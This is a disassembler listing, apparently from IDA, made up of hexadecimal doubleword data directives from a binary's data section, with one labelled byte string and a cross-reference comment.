		dd 0CF1800C8h, 445C4937h, 62249995h, 0AF00FCF6h, 241F3826h
		dd 0DEE009Ch, 0BECD6480h, 593C2A83h, 0A1A9E19h,	1C8B7180h
		dd 17417D99h, 0F625C1h,	4A6EB367h, 1D5C55AAh, 926907C4h
		dd 0C9308827h, 0F7F409D1h, 47DE1D0h, 8F5FBB51h,	30A0C705h
		dd 27E26A54h, 77AE9600h, 4B042EDDh, 614C004Ah, 0C0CAA3C6h
		dd 8F26599Ch, 0AB049C56h, 7D1F97B7h, 0D36B4A00h, 0AD1D8CC1h
		dd 4B3E3200h, 5666E691h, 6A90043h, 65B9B699h, 0C70FDD22h
		dd 0E3F8042Ch, 98ADE46Ch, 767AA2Ah, 3EDC3C8Eh, 80A387B5h
		dd 0ADEB2542h, 5E1DA2A0h, 0B080314Bh, 0A8E50187h, 1C049B1Ch
		dd 40BAF219h, 0BDA4E23Bh, 8C056376h, 2A81C10Dh,	8802D184h
		dd 58D18368h, 0BC9B176Ch, 0FBD40043h, 96883CD3h, 16172500h
		dd 228C376Ch, 0CE3A0E46h, 2F20130Ch, 0F65E7266h, 0D39B5217h
		dd 0A968E000h, 870C78h,	81E680E3h, 9101F22Fh, 0CA00EDB0h
		dd 0C04B4DB3h, 71C441h,	0C8E2254Fh, 737A0296h, 4E56D500h
		dd 4D086678h, 342B0EA2h, 17405C77h, 2E091351h, 7E280F00h
		dd 56FA9C58h, 2A9B176Fh, 0E7BC98h, 38F88648h, 3118B3h
		dd 0B7C27BFBh, 6270F95Ah, 0B861D100h, 9C0C464h,	0E10C1DABh
		dd 853E401Bh, 24F916FBh, 44543B00h, 9C97045Bh, 0C3E901A0h
		dd 898B5CFFh, 0D217CC47h, 0C491E300h, 61330958h, 25F000FBh
		dd 0C30827CFh, 100ADA36h, 0CC65A5BCh, 31E94E00h, 98A1A3h
		dd 0ABA0C7Eh, 2DE27A45h, 77FB780Fh, 0D0BE4013h,	7D114Eh
		dd 70B09322h, 0F1DBE431h, 51291A00h, 4240A860h,	1570068h
		dd 2A35FCA0h, 0D8BEFB93h, 0F7EA1100h, 1EA47577h, 5CF67B9h
		dd 0C0E4D346h, 3A913E47h, 8AAF2201h, 709A3CF1h,	7F1CB8C3h
		dd 0C0E158BFh, 78736800h, 64F721FDh, 49209F01h,	0FFE41905h
		dd 0E6256A70h, 531B0BD4h, 0D400FAF7h, 0C9B111F2h, 0DC0088B8h
		dd 478C6F0Dh, 76B32D0h,	49027E43h, 4B4000F2h, 0C8988DF3h
		dd 98CFC500h, 0A3951AFh, 9BFC0043h, 2F9DA0C1h, 16073B4Ah
		dd 835041B7h, 0CD204880h, 309B72C2h, 23BA80C4h,	50983AC0h
		dd 9E07F606h, 0BD587C92h, 0A7794440h, 0B518350Fh, 15B0648Ah
		dd 92037080h, 149F8A8h,	1083F0A5h, 0E0218095h, 0DE00C591h
		dd 0D9B9C2B8h, 95934081h, 0BF6E200Fh, 94315900h, 0AE1C1749h
		dd 0A8305B57h, 2586B8Dh, 0B3779A3Eh, 0F461AFEFh, 0C8C1C4A3h
		dd 267F3600h, 0AA093A95h, 0DD8B1358h, 0D31E079Eh, 4E9A200Dh
		dd 7775F131h, 18002CB2h, 5D37F688h, 972F24FFh, 6C005C16h
		dd 0A693B08Bh, 0EADCE924h, 3D7762Fh, 5FE66E3Ch,	7EA1BF6Bh
		dd 0EAE82113h, 7F42DD10h, 0E2803058h, 9181EF4h,	0BFD0FD00h
		dd 6F4DD62Ch, 0C76031Ah, 295AA236h, 0F1C89B8Bh,	0D35FE3EDh
		dd 4686E0h, 764C32A0h, 5EECC943h, 4429302h, 60C1BD84h
		dd 7C4A684Fh, 26D40050h, 18637CC4h, 0A717BE79h,	69012024h
		dd 3A5F28A1h, 7E472670h, 0DAA600B3h, 6DEBBD42h,	281DED4Ah
		dd 4C0466CDh, 83B8866Bh, 8A0213h, 6D4B39C6h, 0A6006828h
		dd 796A37FFh, 472FE2h, 0BFC0773Eh, 13579481h, 80011477h
		dd 9337A930h, 807E5D8Dh, 73D93B03h, 0EC0396ECh,	9E82642Ah
		dd 0F22590CAh, 0A184008Ah, 0BA6D4F13h, 84B0E58Bh, 0A231D200h
		dd 326357DAh, 83120043h, 0B1EF498Fh, 4400376Bh,	603A0570h
		dd 0EC1C434h, 0EB2B757Ch, 0AF5B4362h, 10BD2040h, 3900767Dh
		dd 0C8CD717Bh, 641D7Ah,	4170EAE2h, 118AE374h, 4A4CB200h
		dd 4FFFB331h, 0F324B828h
		dd 0ED45D4h, 7257ACC0h,	1AD1D5E2h, 0E9A85000h, 0F9069A8Ah
		dd 70021389h, 97B4B082h, 8574Ch, 4351B5C0h, 0F3D799h, 4D6271Eh
		dd 44A18D68h, 7522C700h, 6A9DC991h, 0ED491CE6h,	0C00BD61Dh
		dd 0D6E1B2FCh, 0F183BA00h, 0D6E2BA0h, 5FC13E37h, 8D284BDFh
		dd 0C003810Bh, 0B0000936h, 0E5EB3B7Ah, 0EEBE9694h, 5880ECB2h
		dd 0BC78D8DFh, 0C2A18ECh, 3D009C5Ah, 4E44C537h,	0CD615Fh
		dd 0A8EE436Dh, 0D36F3A58h, 9092A27Dh, 0EFCA2100h, 9FA42961h
		dd 1AB398Ah, 8B04AC80h,	6EA7400Dh, 0F7B18C00h, 1F3D328Dh
		dd 0A50600CEh, 93DEF676h, 0AD00A1B3h, 9196E3BDh, 0F67DA047h
		dd 0C3500090h, 0FB1CC509h, 0FE00F889h, 69DAD2E3h, 28CBC7D7h
		dd 8FBE0Bh, 5CE7D0D5h, 63019DAAh, 0CC60A300h, 0AF382374h
		dd 0D2553D3Bh, 6070D8CEh, 8131EC3Ah, 1230483h, 90E93FDCh
		dd 2D58002Eh, 0AF4D712Ah, 4EC37700h
a4S		db '=4(',0            ; DATA XREF: ___:off_42DE44o
		dw 0C50Fh
		dd 0AD66937Fh, 830A6EB7h, 0B01681B8h, 70AC6500h, 0F427C5A9h
		dd 6FFF006Ah, 3CCF2A18h, 0C6004843h, 75EC2B39h,	4C5DFEh
		dd 0CB88C590h, 0BE4F14D7h, 278F6F00h, 0CDDED66Bh, 0C2DB046Eh
		dd 0C0707955h, 46996A02h, 622F9401h, 0AE2BB882h, 3E8152E0h
		dd 0A980D1E3h, 5B61C97Bh, 771603F5h, 5AECA486h,	0CE1ECB00h
		dd 98584620h, 59BF1C00h, 72A0EB97h, 525A03F5h, 6EF91DA2h
		dd 458B31C0h, 62263900h, 6506840Fh, 0ED7D0030h,	1737053h
		dd 11001955h, 5B1F2FA3h, 0F8549536h, 0EF900010h, 0F3EEEBADh
		dd 0B900D57Ch, 2A0EF62Dh, 0ED887C8h, 7D5681F7h,	25B810C0h
		dd 13007F14h, 649160C6h, 1CCC032h, 2DF56C52h, 0FC45AFB7h
		dd 7C00ED5Eh, 0B4278D50h, 3803216h, 874FF6FEh, 0FC885CCCh
		dd 7903C89Ah, 0E0F21C85h, 0B036C38Eh, 0E6A980F0h, 94FC00D0h
		dd 2FD61D26h, 0C900C8EDh, 935FDD3Fh, 0E0691492h, 850A006Dh
		dd 4C89B6F3h, 0A00056BCh, 0E4048EACh, 2B7C09h, 8467B375h
		dd 86201FD3h, 704258h, 270EE089h, 79363040h, 5BBE00DDh
		dd 813BA795h, 0C0317FCh, 45D4E6D7h, 0A0608BC3h,	10E97B0h
		dd 7E2CF69Ah, 0CC81ADF9h, 54007393h, 0C1E38D16h, 58A8B711h
		dd 0C03B9B51h, 0E8DFF400h, 485843FDh, 8C026200h, 0D552C12Eh
		dd 403204AAh, 0A9878B8Ah, 0CFE20058h, 6D8CAB9Dh, 0B347F36h
		dd 4097EFE9h, 3E667480h, 400DC46h, 99F7894Dh, 68E83Ah
		dd 648F4410h, 4E3D1C75h, 0A0956D0Fh, 3ED78062h,	0FA09510Bh
		dd 272F00ACh, 0EA286EA6h, 75045715h, 87893185h,	6C0040A3h
		dd 9119B7EEh, 9E097CCFh, 505B6E69h, 586803E4h, 0AAF05A77h
		dd 0A9177588h, 0CCF1A307h, 2E8208E1h, 8E8C40C0h, 0E3E294h
		dd 73E86B36h, 16133B98h, 0AEFC7100h, 8C1E97B6h,	0F7A607D0h
		dd 0C0AF1A1Ch, 158E4665h, 2B0063E4h, 33B61DD5h,	4CF5F275h
		dd 600370Ah, 0F6E534DAh, 0AC07864Ch, 0B3BFA78Ch, 550E9F40h
		dd 9BF23DE0h, 8033F79Ch, 9A687BE7h, 9F007534h, 0A0EAC1DEh
		dd 31E45513h, 0B1D02794h, 8649E01Bh, 70FD8500h,	0D699FE2Ch
		dd 2DFF003Ch, 8E36C198h, 940D73BDh, 11B0302Ah, 5A6ECF0h
		dd 354005D6h, 2BAC80EEh, 7A01B1FDh, 960A6139h, 3821FA1Dh
		dd 3E5299Eh, 0E60DA7Dh,	826B9800h, 0E39D9420h, 0B28E0072h
		dd 9C89B9D6h, 0DF30F798h, 8C0CC1EDh, 7961C0F2h,	986236DCh
		dd 0FA31BF03h, 0B9BED55Dh, 3CC5B019h, 3902C2E4h, 3F929A32h
		dd 31C20211h, 0BD80BC0Fh, 4ABB5788h, 0F36F1A00h, 0EC57EE0h
		dd 97910033h, 64AC9C11h, 2B0271ECh, 1AFC1D5Ch, 0E214D699h
		dd 9C80286Fh, 2A80ABBDh, 5AC8D519h, 1074C442h, 33B50054h
		dd 5D84D2B3h, 3103C359h, 0B2625AE0h, 996F90D1h,	6BBF001Fh
		dd 83876054h, 0FC1ECB59h, 50007898h, 2EF1BBA7h,	62ECFAh
		dd 736E27AEh, 996934B1h, 0CB567100h, 0DF9038Dh,	0C2D00E6h
		dd 4720C312h, 0A101BE11h, 0BCF32B8Ah, 4C01FB7h,	37E30032h
		dd 0DF614249h, 0FF00BA44h, 55284C2Eh, 93DA70h, 7477FDF8h
		dd 3E9EE006h, 0B81A800h, 493631CCh, 0A035017Bh,	144074CEh
		dd 2BC2306Eh, 85ED4300h, 0B467BA3Dh, 46630C2Ch,	0E864455Bh
		dd 34942800h, 0DACEA5Dh, 0FEFA58h, 0EB1A21A6h, 0AD53B2FAh
		dd 5E0048F8h, 0D40631B8h, 0BA05C58h, 427F0210h,	8E34403h
		dd 0FF26E5C0h, 0F0019A5Eh, 0BD9E3751h, 10876DEDh, 0C00BF549h
		dd 0F0D87A35h, 8094C13Ah, 4F4E7102h, 496D3036h,	9602DC10h
		dd 3AA46EFh, 0D4046454h, 48E0D8A9h, 28700F32h, 480411Dh
		dd 0BD7489FFh, 4E0029DDh, 44F047B5h, 9AA60968h,	8005DBEh
		dd 0F2826A2Fh, 5704D205h, 0A70041D5h, 33AA6ADh,	7CC617FEh
		dd 30E000EDh, 0BBCC1149h, 175B0601h, 0D852C91Eh, 4F3FD0h
		dd 83572139h, 59588EE9h, 9E4AC40Ch, 0CE3928h, 5B08200Ch
		dd 0D563DDBEh, 170FC0EDh, 965D6700h, 0C8F0AE16h, 0B9AB00ACh
		dd 342DA91Fh, 47271387h, 0F494407Eh, 0EE701DBh,	44FDD1C0h
		dd 696EC84Ch, 0D70065B8h, 0B7B02CF9h, 0B8396DD3h, 7566000Ch
		dd 0EFACDF3Bh, 18004837h, 0E74958Bh, 48B455E1h,	2E07616Fh
		dd 0C0FCE0EBh, 38ABDA53h, 4405AA78h, 922A862Dh,	0F0E9B0C1h
		dd 80E454F2h, 11B3B1E1h, 0C02CDE1Ah, 5A07D574h,	0E391DB41h
		dd 4FCF02Ch, 6ABC071Fh,	27B87BEFh, 24001B19h, 4891E536h
		dd 7075B400h, 7962ECB6h, 54B50077h, 2DF8B15Eh, 0A262CC8Fh
		dd 0A0ABA878h, 6742D384h, 1CA63AA3h, 0CEF518Ah,	0BC4027AAh
		dd 0EE65518h, 0CA366500h, 389A11FBh, 0A9F800FFh, 350B98Dh
		dd 1C00AE6Ch, 5EE9BD95h, 3C1891CDh, 0E78EA5D3h,	0EF205FD2h
		dd 6B56D03h, 0C39C9F00h, 0E3688FF9h, 9B320090h,	0FECC6163h
		dd 0B400AFE9h, 2653FD7Bh, 16A0576h, 0A6AE5888h,	705EC6A0h
		dd 0B31CDCE0h, 1A92CECBh, 14ED3802h, 0B156007Ah, 65008026h
		dd 0B0324B92h, 9D214DE2h, 4BF8400h, 400103E7h, 517D423Ch
		dd 0DFD39F47h, 0D500FE3Ah, 6F5D0FC9h, 0E989C73h, 1CB84Bh
		dd 377765CDh, 0A7006D43h, 97D94851h, 0DDD5E7h, 822D80E6h
		dd 0AF8CA617h, 0D2ECB701h, 0E754FF37h, 3055AC70h, 0C350929Ch
		dd 2E00DB5Eh, 0A3ADAC9Bh, 16E0AB1Eh, 0A2830F0Ch, 0D46E0F84h
		dd 65D340BBh, 5857E4E7h, 6607BDE2h, 104D834Eh, 9F01A42Eh
		dd 4481434Bh, 2D1391D6h, 2F972188h, 70C5BC00h, 9CFFB42h
		dd 2CDECF4h, 0BE25D18Eh, 5C7ED989h, 498F7784h, 3F9A7600h
		dd 7B1EBB2Fh, 0D1008631h, 0AB401B8h, 6B5900D3h,	0DC3EA7F3h
		dd 66002302h, 13EB41FFh, 0E2E335BEh, 0AFD91C45h, 8FC1C00Ch
		dd 0ABA633EDh, 0F3009B7Bh, 0F84129ACh, 1191D5Bh, 0AE458214h
		dd 7024D137h, 0C04C6B4Fh, 1CA13894h, 3B1ABEh, 985B0D5Ah
		dd 0E6BBDF20h, 6C3C0007h, 3BD5A00Fh, 2500DBA4h,	61FE9B9h
		dd 38231DEh, 0FD893663h, 0B000D16Fh, 1227CB8Bh,	4EC10B23h
		dd 72F020FAh, 433A6EEBh, 3609985Dh, 0BE058h, 49050C97h
		dd 0D6588D9Bh, 0FFD15100h, 96B316C6h, 92A700D4h, 0F4F3111Ch
		dd 6A506030h, 643D39ECh, 4E8D03CBh, 0D06C23F6h,	0ABEFEh
		dd 9D4C5041h, 0CAD51D14h, 0F3D2EB00h, 0F8733F7Ch, 5CFA050Fh
		dd 0C0882B64h, 0B521B295h, 696FE900h, 0E29DA201h, 3FDAF4E3h
		dd 0B6044C42h, 0BA70D353h, 0A3EBE200h, 9C2A8Eh,	1BB96A22h
		dd 1025CEADh, 0D85F032Eh, 0C580C31Ch, 4E1DBBC6h, 54B61E69h
		dd 0DEF200DCh, 9B14D4B2h, 77E9D0Fh, 0BD1EA096h,	6B1741h
		dd 9AC62816h, 834B737Fh, 527BAB1Fh, 0F51EA0A9h,	40145BC0h
		dd 1990ADBh, 4234B98Fh,	0C4F27869h, 9F00439Ch, 308C5F11h
		dd 5053350Fh, 0FCB9C9B3h, 0DBD60036h, 0F33B5C7Ch, 100030Ch
		dd 0E4137F2Eh, 178E74h,	832BDDB8h, 6808CAEBh, 0CF582201h
		dd 786316ADh, 0E8E3AE0h, 3D6341Eh, 37F67E20h, 2600E994h
		dd 43F7F4A1h, 1F84AFAEh, 83C417DBh, 4CFEC59Fh, 7C2AC0B4h
		dd 0E00B6B0h, 0D54524C7h, 156DD44h, 0EAD08488h,	0ECF6FB46h
		dd 8CB23FA6h, 0D31AED12h, 0D2A0688Bh, 87A03301h, 340737F0h
		dd 0DA791CF8h, 44FC985Bh, 439E0065h, 419C8E9Bh,	0D72C9288h
		dd 6400ACD8h, 0FB9872E5h, 0C5510074h, 283B5820h, 0F11E8D15h
		dd 45CE0B0Dh, 0F789E7FCh, 171170B6h, 21F192AAh,	0E53BB1D8h
		dd 4A5FE0DAh, 45187967h, 359A78F0h, 1BE0044h, 0A61F0D1Ch
		dd 6036C88h, 66D2C59Dh,	0FF900392h, 15F0F69Bh, 8A44A49Ch
		dd 0B8C2086h, 32D320h
		dd 6D3D2FBDh, 14357468h, 76493402h, 60B73F17h, 946FB36Fh
		dd 0A1B54044h, 0BF00F611h, 2AF11706h, 0FA43A9Eh, 3B439681h
		dd 0FD20A9EEh, 5AE7B1F4h, 6F8AD6A0h, 4E00E7B0h,	0E4A16857h
		dd 7EEB8D06h, 90F40127h, 0EAAED8FEh, 527B201Bh,	0AC78FF0Fh
		dd 54988037h, 74BA23h, 9980320Dh, 0E0CBD1B1h, 8EBB1900h
		dd 0EEDF277Ah, 9E450388h, 55C39857h, 155DF9C0h,	324C9F05h
		dd 0AC017648h, 0FE5FB9F2h, 0B4608EC1h, 0D084868h, 0CFD16000h
		dd 92DE64D8h, 6E832500h, 9A97742Ch, 6B28C0A5h, 94FEB70Ah
		dd 31473Fh, 2AC2112Bh, 73B470h,	7535A62Dh, 5936A8B1h, 0BE1B9D3Ah
		dd 0E5929212h, 0A0291F0Fh, 0B165B004h, 0C51C1ED5h, 2B4901FFh
		dd 0C4747EE1h, 0F2E0A98Bh, 810CF6FCh, 90C25229h, 188490E6h
		dd 80307C03h, 0AC777FFFh, 6C00B75Ah, 606FF386h,	12C2165Dh
		dd 0B274C706h, 0B43B028h, 68B781D1h, 0CCC70018h, 1B9EB9DEh
		dd 804E4A36h, 0D4C6D188h, 0AA60BAE9h, 0B3102CFCh, 9A08523Bh
		dd 30837BEDh, 990F3682h, 2A08A2F3h, 198C351Fh, 1F59A17Ah
		dd 1821E2B0h, 0EC2704D2h, 0E7501F7Bh, 0C6BFC483h, 2CAFB02Ah
		dd 21616E22h, 14086816h, 25A48F7Bh, 0AFC70891h,	0E952085Bh
		dd 37599441h, 9AABB088h, 245D0242h, 0DC4C3332h,	0E020E04Bh
		dd 0EE1950Ah, 0FD16389Ah, 0F21D311Ah, 0EC2402C0h, 0A59A17Eh
		dd 5922A79h, 0B9B480DCh, 0AF513DBCh, 0F0051573h, 973CF416h
		dd 18C3C440h, 5425700Eh, 4BA4BCD9h, 16D440E3h, 0D4C8101h
		dd 7F150F04h, 0BC80AB9Dh, 11BC351h, 0AAFE31BFh,	20D46307h
		dd 990262CCh, 27D20A70h, 364CE0A5h, 92F226EBh, 37C06228h
		dd 0E8384C4Bh, 68E6A687h, 1C8A0B80h, 1DE1AA6h, 698E1513h
		dd 80581B05h, 3302C991h, 0E0CFA7h, 5A0F3879h, 0BDCA3B55h
		dd 2EA39CA8h, 391B8001h, 498360FEh, 3012C4C8h, 0DEF03AA6h
		dd 2C4EE5C7h, 75BCB440h, 3BF3E70h, 0F04A338Eh, 0CEA23CA8h
		dd 0C42D4848h, 0A9078171h, 8422D675h, 58801239h, 0F1680E70h
		dd 150A4CE7h, 0A50B80CCh, 119D7C7Dh, 0C66CD07h,	2D44D6B5h
		dd 2FDADCD1h, 0D73BD0h,	0E03FBF06h, 88F79E9Bh, 94CC2824h
		dd 78FC0380h, 90A68DF9h, 0C7E41444h, 0FB815CCFh, 0E9614481h
		dd 9B000B3Dh, 7C2781C3h, 1104BEEBh, 0E3ACD0D1h,	1AA8B890h
		dd 0D790006Bh, 690724CAh, 0D0C7CBA2h, 0CD204CB8h, 1CF3A679h
		dd 0BB17FED8h, 0F23E7600h, 474672F0h, 85180700h, 2C014F89h
		dd 6DB90708h, 0E0868D40h, 3B66AEA3h, 1421A000h,	0D96FC945h
		dd 8C40027h, 87F701C5h,	0A90341EDh, 7323CDC3h, 2FB98BAh
		dd 0E1A7B9Ch, 69D709F8h, 5EFF003Eh, 0C2DA99EFh,	85F0E700h
		dd 0D497CF34h, 0B92091Eh, 240066B4h, 17A27B8Fh,	0F8C1FD1Dh
		dd 0F75064C0h, 0EA016F45h, 5CFF0054h, 0F33ECAA2h, 6C00CCFCh
		dd 0F5BF930Ah, 3ED18D8h, 0DB4B3F70h, 57E9E0BBh,	3298DB1Bh
		dd 0AD0013CFh, 0F562D54Fh, 1EBE9D45h, 5D3FB71h,	3C3A689h
		dd 0D61B329Bh, 9F0E2800h, 2B368B69h, 676400CEh,	0CA62AECh
		dd 180FAA14h, 0E7AB6FA5h, 45C1CF3Eh, 4C70CD55h,	3DE85Ch
		dd 5D80529Ah, 64818B87h, 4E00B374h, 5022C57Bh, 93358h
		dd 87C3E68Ah, 0B4A10355h, 529E2F00h, 0E74C5945h, 0E4D001F8h
		dd 0E6D858B3h, 6928309Bh, 9D00CE71h, 94128B6Ah,	971AA2h
		dd 357859ADh, 0C93DFF48h, 443520Eh, 0F229E12Fh,	54EC90D3h
		dd 0BD7F1Ah, 712DB46Ch,	0F9A7C960h, 0AC00C6F0h,	0D9A8FF9Bh
		dd 5764118h, 78A229A4h,	0EB804EBBh, 0BD0E3080h,	0E50CD502h
		dd 9191E1A6h, 0B6580016h, 73AF5670h, 52002B5Eh,	88B981D1h
		dd 0EF247483h, 32EA5CCh, 7037FCA9h, 5907317Dh, 264EF951h
		dd 32E4C7B0h, 0AA9706C4h, 207BBB1Fh, 860031F2h,	76D80F2Ah
		dd 0FBD697Dh, 40AB6E72h, 0C44D6040h, 150FEBB0h,	610D1678h
		dd 1F8E87E0h, 54FC3CD1h, 0FA9B0C82h, 0C5B0F83Ah, 588A8130h
		dd 0B11D0Ah, 1657F738h,	6E1CE904h, 6900B5F0h, 0F9CA214h
		dd 0E2ADBE4h, 0A7D98DAEh, 544673E3h, 0D065A9D9h, 3300E662h
		dd 683D0F5Ah, 3D22176Dh, 908030B1h, 430AAEC0h, 1272779Eh
		dd 0D148890Eh, 633761DEh, 8050A50Eh, 4DB34Eh, 67FE5297h
		dd 78CA3C16h, 715F5601h, 49331E5Eh, 0DF519482h,	0FB8072C3h
		dd 165905CDh, 5DE44500h, 622F3AB3h, 0F517011Dh,	0E618141Ch
		dd 0EF884128h, 0C9688333h, 12981104h, 180CA8F8h, 0ED204AF1h
		dd 46061400h, 590A84CCh, 6618C0B7h, 0FC3CE5B6h,	0D8DFE801h
		dd 0F3519DB5h, 7D42420h, 6DB7067Ch, 0FB6E80C8h,	0E200D042h
		dd 2A60A40Bh, 320DA53h,	71595F1Eh, 93C140DBh, 0C3045BDCh
		dd 73F83A5h, 1D6A3B58h,	58AE00AAh, 8600BBA4h, 14E0C7BEh
		dd 0C59B91h, 5B19008h, 1B7B65Dh, 9C4CAE01h, 31F86B8h, 77DD9ECh
		dd 9E48E044h, 285AC0A3h, 881FE3A9h, 0B100128Ah,	0F07707C2h
		dd 4F8DEh, 86EA7A38h, 0CC4A106Ch, 0D101BC7Fh, 0D7ECDB1Fh
		dd 77E4649Fh, 731800F1h, 44E54199h, 0D100EA2Fh,	7624451Dh
		dd 55C85DBh, 8D63619Dh,	7742C00Fh, 951DC75Eh, 2B80AF36h
		dd 356D82A7h, 25BE00D4h, 0FD24A379h, 89012A30h,	0AE7C5EE9h
		dd 0DFC4572Eh, 56440099h, 197B22A2h, 0C81C5362h, 0D94010F2h
		dd 0DC8D7FB1h, 69205858h, 91ED6F03h, 0D1E0AD70h, 4F001A59h
		dd 0EAA1FB66h, 318536h,	5A54ED76h, 0C8BF8C7Bh, 4A4DDF00h
		dd 35ADF391h, 41A400A0h, 28471C2Eh, 0E007A53Fh,	6D676A31h
		dd 0A1BE8C50h, 3EEC00B1h, 8444E1E3h, 0BD003593h, 2679FC6Ch
		dd 70C4AFF8h, 16A9006Fh, 9B09E269h, 0FD2EE890h,	0B40B0C1Eh
		dd 0A3FA80F4h, 7E7A69E0h, 0BD72D9h, 3A172A5Ah, 29EDA6BAh
		dd 0C6B75401h, 0DB10C7D4h, 0FD0C20h, 0B437CCBCh, 7EC3C3Dh
		dd 1BD1B800h, 0BAE77081h, 7C8B787Ch, 607CD6h, 0A5673F3Bh
		dd 9F6FF373h, 872493E2h, 0BB17F142h, 0F7730Eh, 0C0A01F20h
		dd 72D300A4h, 3D237FCEh, 3A00CF0Ch, 2E8F9F5Eh, 70DDE5h
		dd 0B479D68Ah, 0FB579DAAh, 21B6981Dh, 3C468440h, 98CDA0A2h
		dd 0A3563993h, 0B21C0CDCh, 0E626C0D2h, 42CF81DDh, 730E5403h
		dd 9635FAFEh, 23CB00E2h, 0D1655F37h, 8D015B63h,	5E3BB068h
		dd 0A6C82001h, 0B1BC0ED4h, 2560699Bh, 60520C23h, 0EF88DF00h
		dd 0CF2DA402h, 0EB6500BEh, 0FB6B691Eh, 59B830B8h, 1A382AE2h
		dd 1855808Fh, 228E965Bh, 19A7C48h, 0EF5CFC83h, 0E09CBEF6h
		dd 0DC3C4299h, 1D778075h, 4C7CE53Ch, 22E00E37h,	3B4012B9h
		dd 30966346h, 19D19102h, 0FE57C893h, 44D6006Fh,	5FC3DD5Ah
		dd 61FA8F00h, 0E36B337Fh, 7C1500E9h, 5A4BB1C1h,	0F300BD5Dh
		dd 0A28B6259h, 9AEC3Fh,	2D384834h, 0A516733Ah, 56260B00h
		dd 31013650h, 1BE10168h, 0A72E9EF1h, 3B77E027h,	0FC78587Fh
		dd 58711930h, 10A9E86Ch, 24A3EF21h, 5E003A33h, 2E4C9238h
		dd 0DFE100D2h, 270266B6h, 0F1A06C1Ah, 0AD0074DDh, 0E7364C73h
		dd 3778341Fh, 60CC57A3h, 0DACF710Ah, 0D6FC2D00h, 0CC728F67h
		dd 2357D74h, 0AFCD7B73h, 64E0A37Ah, 0ED3F58D0h,	6E768084h
		dd 9A0B7F1Ch, 0AC980054h, 4BE5FFCh, 3D00071Fh, 2AAACAE4h
		dd 0F937B3h, 118B7399h,	62F0674Bh, 8D9DB40Eh, 70878017h
		dd 0FE2C65D5h, 0FC8E00E9h, 0F50CAA8h, 32131214h, 7812E5E0h
		dd 0CC4E6600h, 0D68547h, 231A89AFh, 8A7FD750h, 39A24201h
		dd 83C397CAh, 0AC68CCh,	626C52D0h, 7576442Ah, 96654A00h
		dd 85C03E57h, 0DF6D00FAh, 28B14945h, 0A53D92F7h, 0A66E80C8h
		dd 1B6DCF3h, 977409h, 0ABB8C656h, 36BC575Dh, 3C812207h
		dd 0DB3775DDh, 0E91AC00h, 0A711002Fh, 853D9F12h, 2100E0B0h
		dd 8B1C5B59h, 392F67B6h, 79807645h, 9982A36Eh, 2800F65Fh
		dd 0E0BDA8AEh, 47649E8h, 0F17D6492h, 0BFF9C011h, 0C80E812Ah
		dd 33092CEEh, 78D4B00h,	163557D4h, 0F068844Dh, 1C0052BFh
		dd 738B7564h, 2454199Fh, 0F382DF9h, 475F25B5h, 8035C131h
		dd 267687C2h, 0F6ACE900h, 8C74EEBDh, 62E41E8Dh,	30B80E0h
		dd 99185F2Fh, 1BF86F4Bh, 41586D00h, 370CB777h, 0DDA82000h
		dd 0C3FA1860h, 96C0F1Dh, 2C0CB1Ch, 81B8AE39h, 0D90E9700h
		dd 6BB0DEAAh, 7CDB0096h, 69103545h, 2F00C563h, 97579813h
		dd 3F2D7975h, 778088AEh, 282E640Dh, 2C3D55BEh, 784F83D8h
		dd 0E9BF969Ch, 8204518h, 0CD40005Bh, 3629D6A9h,	250E8ED5h
		dd 34D3FFC9h, 0D89100F0h, 0EE31B45Eh, 0BCFE2Dh,	4663BD22h
		dd 7DDCA581h, 4433C900h, 8FA01C13h, 0FAEB3CF9h,	10E2E593h
		dd 0DB009C8Dh, 9B180A70h, 0D37A7368h, 0D5187E60h, 0F6DFCF8h
		dd 33C7BD31h, 0BE04400Fh, 0EF7B80EBh, 0CC00A72Ah, 0D624D89Bh
		dd 0E46F1D2Fh, 62B6039Ah, 987530C2h, 97D01800h,	56A27915h
		dd 40956068h, 0D8E03862h, 0C502E903h, 90E1FC82h, 604E5FB9h
		dd 0F0BFF8DFh, 7900663Ch, 290A836Ah, 3379C59h, 4EAC899Ah
		dd 961C2B24h, 4700B5F7h, 77FECA36h, 0D8C300B3h,	87DF5C25h
		dd 0CD0EEF9Dh, 40374373h, 8E8B4032h, 3C0A00F4h,	0DDC72F0Bh
		dd 0CA003B6Eh, 5C89F276h, 360610Fh, 68F4EB1Bh, 0B8B6AFE2h
		dd 0CFC71500h, 57492598h, 59CE00DEh, 2819DB82h,	3F701012h
		dd 652D0B00h, 0F74CF1Dh, 580C0EDFh, 7D4034B0h, 0BA6E9D16h
		dd 0E4F21300h, 0FFF1D9C0h, 44AA005Ah, 2393C334h, 86008583h
		dd 415461F5h, 3AE50D50h, 0CF83C701h, 0FB81BF10h, 3FB56400h
		dd 0E35E5971h, 0E8220BA8h, 7B80C866h, 44A5D183h, 20E8600h
		dd 1C4D25DAh, 957F1E46h, 75DEC3E5h, 0FFB0618Ah,	0F807C6C3h
		dd 55935215h, 80350102h, 1485E0FCh, 0F2290077h,	10442781h
		dd 432854CAh, 0E000B925h, 767AA3BEh, 0D37CC8h, 0CBB8C922h
		dd 21096AB4h, 6F9DBD05h, 0E40FDA15h, 0F93EE058h, 0E6E5AF3h
		dd 6954AF1Bh, 0F42A9Fh,	3E454836h, 0C19C4134h, 2EA7F500h
		dd 27D5AF04h, 9F46000Fh, 33A06E5Eh, 37005576h, 0A9D99D3h
		dd 1DA7DCCh, 0A603AE59h, 8F79A318h, 20A1E5C1h, 3C2D856Eh
		dd 0BE680004h, 0D8105209h, 433EC8BCh, 64A40F20h, 88095F9h
		dd 4934C58Ch, 0D8FD4A80h, 80A628E1h, 0BC28344h,	0D7097807h
		dd 40431C0Fh, 2FABF923h, 142807CDh, 82503A4h, 0FB9616C0h
		dd 71C338h, 79970DFh, 3D8D91D5h, 359F4F86h, 0FF670F7Fh
		dd 17AE85C7h, 0B839701Eh, 0D0003A6Fh, 0D24E478Fh, 3B335BA7h
		dd 0FBB557h, 0CC43083Bh, 9AFA1264h, 31863Ch, 0EDA5BB26h
		dd 99EEB5h, 21FB151Bh, 52FC0196h, 0ABC80200h, 411C431Dh
		dd 0CF3039A2h, 94BC6183h, 9880FE84h, 3E009E3Fh,	2C73C1ADh
		dd 2E2D972h, 381D0D4Ch,	29E098AAh, 0C23D8622h, 56C85Eh
		dd 55E66DA2h, 87ACCh, 0B7B56E18h, 0FEDA2C24h, 0C87F4F02h
		dd 0E020A495h, 78DE266h, 0C1172265h, 5BF2005Dh,	0A70234EAh
